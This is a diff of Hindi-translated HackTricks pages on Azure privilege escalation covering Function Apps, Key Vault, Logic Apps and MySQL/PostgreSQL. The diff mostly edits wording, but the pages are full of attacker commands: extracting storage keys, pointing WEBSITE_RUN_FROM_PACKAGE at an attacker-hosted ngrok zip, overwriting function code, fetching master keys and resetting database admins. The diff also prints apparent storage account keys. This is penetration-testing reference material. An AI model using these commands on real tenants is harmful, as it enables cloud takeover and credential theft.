-यह अनुमति निर्दिष्ट कार्य के लिए एक सिस्टम फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:
+यह अनुमति निर्दिष्ट फ़ंक्शन के लिए एक सिस्टम फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/config/list/action
+### `Microsoft.Web/sites/config/list/action`
-यह अनुमति एक फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, यह संभव है कि **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** के डिफ़ॉल्ट मान मिलें, जिसमें **ब्लॉब स्टोरेज तक पहुँचने के लिए एक खाता कुंजी होती है जिसमें पूर्ण अनुमतियाँ होती हैं**।
+यह अनुमति एक फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, यह संभव है कि **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** के डिफ़ॉल्ट मान मिलें, जिसमें **ब्लॉब स्टोरेज तक FULL अनुमतियों के साथ पहुँच के लिए एक खाता कुंजी** होती है।
```bash
az functionapp config appsettings list --name --resource-group
```
@@ -181,11 +181,11 @@ az functionapp config appsettings list --name --resource-group /resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01"
```
-### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
-ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा था, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।
+ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा है, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।
-इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड हो:
+इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड हो:
- वर्तमान कॉन्फ़िगरेशन प्राप्त करने से शुरू करें
```bash
@@ -203,9 +203,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
-- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** वाली URL की ओर इशारा करता है।
+- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** के URL की ओर इशारा करता है।
-निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यहाँ मैंने ऐप को होस्ट किया था।
+निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यही वह जगह है जहाँ मैं ऐप को होस्ट कर रहा था।
```bash
# Modify the function
az rest --method PUT \
@@ -213,9 +213,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
-### Microsoft.Web/sites/hostruntime/vfs/write
+### `Microsoft.Web/sites/hostruntime/vfs/write`
-इस अनुमति के साथ, **किसी एप्लिकेशन के कोड को वेब कंसोल के माध्यम से संशोधित करना संभव है** (या निम्नलिखित API एंडपॉइंट के माध्यम से):
+इस अनुमति के साथ **किसी एप्लिकेशन के कोड को वेब कंसोल के माध्यम से संशोधित करना संभव है** (या निम्नलिखित API एंडपॉइंट के माध्यम से):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
-### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
+### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
यह अनुमति सभी प्रकाशन प्रोफाइल को सूचीबद्ध करने की अनुमति देती है, जो मूल रूप से **बुनियादी प्रमाणीकरण क्रेडेंशियल** शामिल करती है:
```bash
@@ -279,7 +279,7 @@ _ध्यान दें कि **SCM उपयोगकर्ता नाम
आप `https://.scm.azurewebsites.net/BasicAuth` से वेब पृष्ठ तक भी पहुँच सकते हैं।
-सेटिंग्स मानों में उस स्टोरेज खाते का **AccountKey** शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित करना संभव होता है।
+सेटिंग्स मानों में उस स्टोरेज खाते का **AccountKey** शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित किया जा सकता है।
- **विधि FTP**
@@ -299,38 +299,29 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_ध्यान दें कि **FTP उपयोगकर्ता नाम** आमतौर पर इस प्रारूप में होता है \\\$\._
-### Microsoft.Web/sites/publish/Action
+### `Microsoft.Web/sites/hostruntime/vfs/read`
-[**दस्तावेज़ों**](https://github.com/projectkudu/kudu/wiki/REST-API#command) के अनुसार, यह अनुमति **SCM सर्वर के अंदर कमांड निष्पादित करने** की अनुमति देती है, जिसे एप्लिकेशन के स्रोत कोड को संशोधित करने के लिए उपयोग किया जा सकता है:
-```bash
-az rest --method POST \
---resource "https://management.azure.com/" \
---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
-```
-### Microsoft.Web/sites/hostruntime/vfs/read
-
-यह अनुमति **ऐप का स्रोत कोड पढ़ने** की अनुमति देती है VFS के माध्यम से:
+यह अनुमति **VFS के माध्यम से ऐप का स्रोत कोड पढ़ने** की अनुमति देती है:
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
-### Microsoft.Web/sites/functions/token/action
+### `Microsoft.Web/sites/functions/token/action`
-इस अनुमति के साथ, यह संभव है [**व्यवस्थापक टोकन**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त करना, जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है:
+इस अनुमति के साथ यह संभव है [**व्यवस्थापक टोकन**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त करना, जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है।
+
+हालांकि, मेरी अंतिम जांचों में कोई टोकन वापस नहीं किया गया, इसलिए यह निष्क्रिय या अब काम नहीं कर रहा हो सकता है, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे:
```bash
# Get admin token
-az rest --method POST \
---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \
---headers '{"Content-Type": "application/json"}' \
---debug
+az rest --method GET \
+--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer "
```
-### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
+### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
-यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकते हैं (या उन्हें अक्षम कर सकती है)।
+यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकती हैं (या उन्हें अक्षम कर सकती हैं)।
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -342,17 +333,17 @@ az functionapp config appsettings set \
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01"
```
-### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
+### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
-इन अनुमतियों के साथ, यह संभव है कि **एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जाए** जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। इससे एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करने और फ़ंक्शन को इसे निष्पादित करने की अनुमति मिलेगी।
+इन अनुमतियों के साथ, यह संभव है कि **एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जा सके** जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। इससे एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करने और फ़ंक्शन को इसे निष्पादित करने की अनुमति मिलेगी।
```bash
az functionapp config container set --name \
--resource-group \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
-### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
+### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
-इन अनुमतियों के साथ, **एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से संलग्न करना संभव है**। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा।
+इन अनुमतियों के साथ, **एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से जोड़ा जा सकता है**। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा।
```bash
az functionapp identity assign \
--name \
@@ -361,7 +352,7 @@ az functionapp identity assign \
```
### Remote Debugging
-यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को डिबग करने के लिए कनेक्ट किया जाए जैसे कि [**दस्तावेज़ों में समझाया गया है**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर इसे छोड़ने के लिए भूल जाता है ताकि कमजोर कॉन्फ़िगरेशन न छोड़े जाएं।
+यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को डिबग करने के लिए कनेक्ट किया जाए जैसे कि [**दस्तावेज़ों में समझाया गया है**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़ने से बचने के लिए भूल जाता है।
यह जांचना संभव है कि क्या किसी फ़ंक्शन में डिबगिंग सक्षम है:
```bash
@@ -373,8 +364,8 @@ az functionapp config set --remote-debugging-enabled=True --name --re
```
### Change Github repo
-मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github repo को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\
-इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नए रिपॉजिटरी की अनुमति नहीं मिली, इसलिए यह बहुत उपयोगी नहीं लगता।
+मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github रिपॉजिटरी को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\
+इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नई रिपॉजिटरी की अनुमति नहीं मिली, इसलिए ऐसा लगता है कि यह बहुत उपयोगी नहीं है।
```bash
# Remove current
az functionapp deployment source delete \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
index da28e95a5..f28c5017c 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -10,7 +10,7 @@
../az-services/az-keyvault.md
{{#endref}}
-### Microsoft.KeyVault/vaults/write
+### `Microsoft.KeyVault/vaults/write`
इस अनुमति के साथ एक हमलावर एक की वॉल्ट की नीति को संशोधित करने में सक्षम होगा (की वॉल्ट को RBAC के बजाय एक्सेस नीतियों का उपयोग करना चाहिए)।
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
index bae03c601..96540ca73 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
@@ -5,15 +5,13 @@
## Logic Apps Privesc
SQL Database के बारे में अधिक जानकारी के लिए देखें:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
+### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
इस अनुमति के साथ, आप Azure Logic Apps वर्कफ़्लो बना या अपडेट कर सकते हैं। वर्कफ़्लो स्वचालित प्रक्रियाओं और विभिन्न सिस्टम और सेवाओं के बीच एकीकरण को परिभाषित करते हैं।
-
-{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group \
@@ -26,9 +24,7 @@ az logic workflow update \
--resource-group logicappgroup \
--definition
```
-{% endcode %}
-
-और इसे बदलने के बाद, आप इसे इस तरह चला सकते हैं:
+और इसे बदलने के बाद, आप इसे चला सकते हैं:
```bash
az rest \
--method post \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
-### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
+### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
इन अनुमतियों के साथ, आप ZIP फ़ाइल तैनाती का उपयोग करके Logic App वर्कफ़्लो तैनात कर सकते हैं। ये अनुमतियाँ ऐप विवरण पढ़ने, प्रकाशन क्रेडेंशियल्स तक पहुँचने, परिवर्तनों को लिखने और ऐप कॉन्फ़िगरेशन की सूची बनाने जैसी क्रियाओं को सक्षम बनाती हैं। प्रारंभ अनुमतियों के साथ, आप इच्छित सामग्री के साथ एक नया Logic App अपडेट और तैनात कर सकते हैं।
-
-{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name \
--resource-group \
--src
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
index c67b21896..5fbbb42b6 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
-
## MySQL Database Privesc
SQL Database के बारे में अधिक जानकारी के लिए देखें:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वर की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोधन, या सर्वरों को बंद करना शामिल है।
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier \
--version
```
-{% endcode %}
-
उदाहरण के लिए, ये अनुमतियाँ MySQL पासवर्ड बदलने की अनुमति देती हैं, जो कि निश्चित रूप से तब उपयोगी होती हैं जब MySQL प्रमाणीकरण सक्षम हो।
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
इसके अलावा, यदि आप किसी गैर-निजी एंडपॉइंट से एक्सेस करना चाहते हैं तो सार्वजनिक एक्सेस सक्षम होना आवश्यक है, इसे सक्षम करने के लिए:
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
-### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
-
-इस अनुमति के साथ, आप MySQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका लाभ उठाया जा सकता है जब कोई स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करता है, जिससे MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर के पास उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
-
-{% code overflow="wrap" %}
+इस अनुमति के साथ, आप MySQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करके किया जा सकता है, जो MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्रदान करता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
```bash
az mysql flexible-server ad-admin create \
--resource-group \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity \
--object-id
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
index 39fb8e152..9ebd6d054 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -5,15 +5,13 @@
## PostgreSQL Privesc
SQL Database के बारे में अधिक जानकारी के लिए देखें:
-{% content-ref url="../az-services/az-postgresql.md" %}
+{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
-इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वर की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोधन, या सर्वरों को बंद करना शामिल है।
-
-{% code overflow="wrap" %}
+इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वरों की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन को संशोधित करना, या सर्वरों को बंद करना शामिल है।
```bash
az postgres flexible-server create \
--name \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier